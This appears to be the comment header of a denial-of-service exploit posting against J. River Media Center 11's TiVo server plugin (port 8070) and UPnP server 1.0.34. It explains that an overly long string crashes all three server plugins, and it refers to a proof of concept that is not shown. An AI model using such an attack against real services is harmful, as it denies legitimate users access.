############################################################################
#Media Center 11 d0s exploit overly long string.
#TiVo server plugin..Runs on port tcp :8070
#Also J. River UPnP Server Version 1.0.34
#is also afected by the same bug which is just a
#dos exploit.As we know the port always changes for the
#UPnP server so you may have to modify the proof of concept a little
#This exploit will deny legitimate user's from using the service
#We should see a error with the following msg Upon sucsessfull
exploitation.
#All 3 of the server plugin's will fail includin the library server which
#is set to port :80 by default.The only debug info i was able to collect
#at crash time is also provided with the proof of concept.
#As you can see from the debug info provided we canot control any memory
#Adresses.
#Shout's to aelph and every-one who has helped me over the year's.
